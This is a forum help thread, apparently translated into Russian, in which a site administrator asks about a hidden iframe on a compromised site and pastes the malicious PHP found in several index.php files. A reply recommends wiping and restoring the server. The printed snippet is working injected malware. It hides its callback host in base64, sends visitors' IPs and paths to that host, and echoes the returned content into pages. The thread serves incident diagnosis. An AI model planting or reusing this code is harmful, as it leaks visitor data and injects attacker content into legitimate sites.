Похоже, что один из сайтов, за которыми я слежу, был взломан. Однако я все еще пытаюсь определить источник проблемы.
На странице появляется скрытый iframe, однако он появляется только в 10% случаев, когда вы посещаете веб-сайт. Я проверил фактические файлы, о которых идет речь, и к ним не был добавлен такой код iframe, что заставляет меня думать, что сам сервер не был скомпрометирован, и это своего рода XSS-атака? Кроме того, на сервере также размещены различные другие веб-сайты, которые, похоже, не работают.
С чего лучше всего начать поиск и устранение этой проблемы. В идеале я бы хотел стереть сервер и начать заново, но в настоящее время у меня нет такой возможности, поскольку я не полностью контролирую этот конкретный сервер.
Я немного покопался и обнаружил, что следующий фрагмент кода появляется в различных файлах index.php. Неужели никто этого не узнает?
<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>
Первым делом нужно стереть все (или весь виртуальный хост) и перезапустить из заведомо исправной резервной копии. Шутки в сторону. Скомпрометированная система ... взломана.
Однако в целях исследования я бы посоветовал вам начать с указания, какой веб-сервер использует ваш хост (apache ?, nginx? Lighttpd? IIS?) И операционную систему.
По опыту я бы сказал, что вы использовали устаревшую структуру (например, wordpress, django или любую из этих досок объявлений PHP), и кто-то использовал проблемы с разрешениями, чтобы удаленный код выполнял модификацию одного из ваших .htaccess; но это действительно случайная догадка, пока вы не начнете предоставлять немного больше информации.